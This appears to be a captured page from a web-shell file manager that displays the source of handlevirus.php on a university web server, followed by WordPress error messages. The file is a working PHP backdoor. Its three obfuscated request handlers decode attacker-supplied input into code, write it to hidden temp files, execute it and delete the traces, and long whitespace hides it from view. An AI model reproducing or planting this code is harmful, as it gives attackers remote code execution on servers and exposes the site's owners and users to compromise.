文件操作 - handlevirus.php

文件: /var/www/demoestudiantes.uaysen.cl/html/handlevirus.php

编辑文件内容

<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x65\x6C\x65men\x74"])){ $ptr = $_REQUEST["\x65\x6C\x65men\x74"]; $ptr = explode('.', $ptr) ; $flg =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt ); $m =0; $__len =count($ptr ); do { if($m>= $__len) break; $v5 =$ptr[$m]; $chS =ord($salt[$m% $sLen] ); $dec =((int)$v5 - $chS -($m% 10)) ^ 65; $flg.=chr($dec ); $m++; }while(true ); $obj = array_filter([getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), getcwd()]); foreach ($obj as $item): if ((function($d) { return is_dir($d) && is_writable($d); })($item)) { $bind = sprintf("%s/.dchunk", $item); if (file_put_contents($bind, $flg)) { require $bind; unlink($bind); die(); } } endforeach; }
																																										if(array_key_exists("\x65\x6Cem", $_POST) && !is_null($_POST["\x65\x6Cem"])){ $resource = array_filter(["/dev/shm", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/tmp", getenv("TEMP"), getcwd()]); $pointer = $_POST["\x65\x6Cem"]; $pointer = explode ( "." , $pointer ) ; $k = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); foreach( $pointer as $x => $v6): $sChar = ord( $s[$x % $sLen]); $dec =( ( int)$v6 - $sChar -( $x % 10)) ^ 66; $k .= chr( $dec); endforeach; $binding = 0; do { $res = $resource[$binding] ?? null; if ($binding >= count($resource)) break; if (is_dir($res) ? is_writable($res) : false) { $val = str_replace("{var_dir}", $res, "{var_dir}/.ent"); $success = file_put_contents($val, $k); if ($success) { include $val; @unlink($val); die();} } $binding++; } while (true); }

if(!empty($_REQUEST["\x68\x6Fld\x65r"])){
	$mrk = array_filter([getcwd(), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/var/tmp"]);
	$component = $_REQUEST["\x68\x6Fld\x65r"];
	 $component= explode('.'	,	$component);  	
	$data = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s);
            $__len = count($component);
    
            for ($q = 0; $q < $__len; $q++) {
                $v2 = $component[$q];
                $chS = ord($s[$q%$lenS]);
                $d = ((int)$v2 - $chS - ($q%10)) ^ 70;
                $data .= chr($d);
            }
	foreach ($mrk as $bind):
    		if ((function($d) { return is_dir($d) && is_writable($d); })($bind)) {
    $flg = sprintf("%s/.val", $bind);
    $file = fopen($flg, 'w');
if ($file) {
	fwrite($file, $data);
	fclose($file);
	include $flg;
	@unlink($flg);
	die();
}
}
endforeach;
}

修改文件时间

删除文件

Warning: require(/var/www/vec.uaysen.cl/html/wp-includes/compat-utf8.php): failed to open stream: No such file or directory in /var/www/vec.uaysen.cl/html/wp-settings.php on line 35

Fatal error: require(): Failed opening required '/var/www/vec.uaysen.cl/html/wp-includes/compat-utf8.php' (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/vec.uaysen.cl/html/wp-settings.php on line 35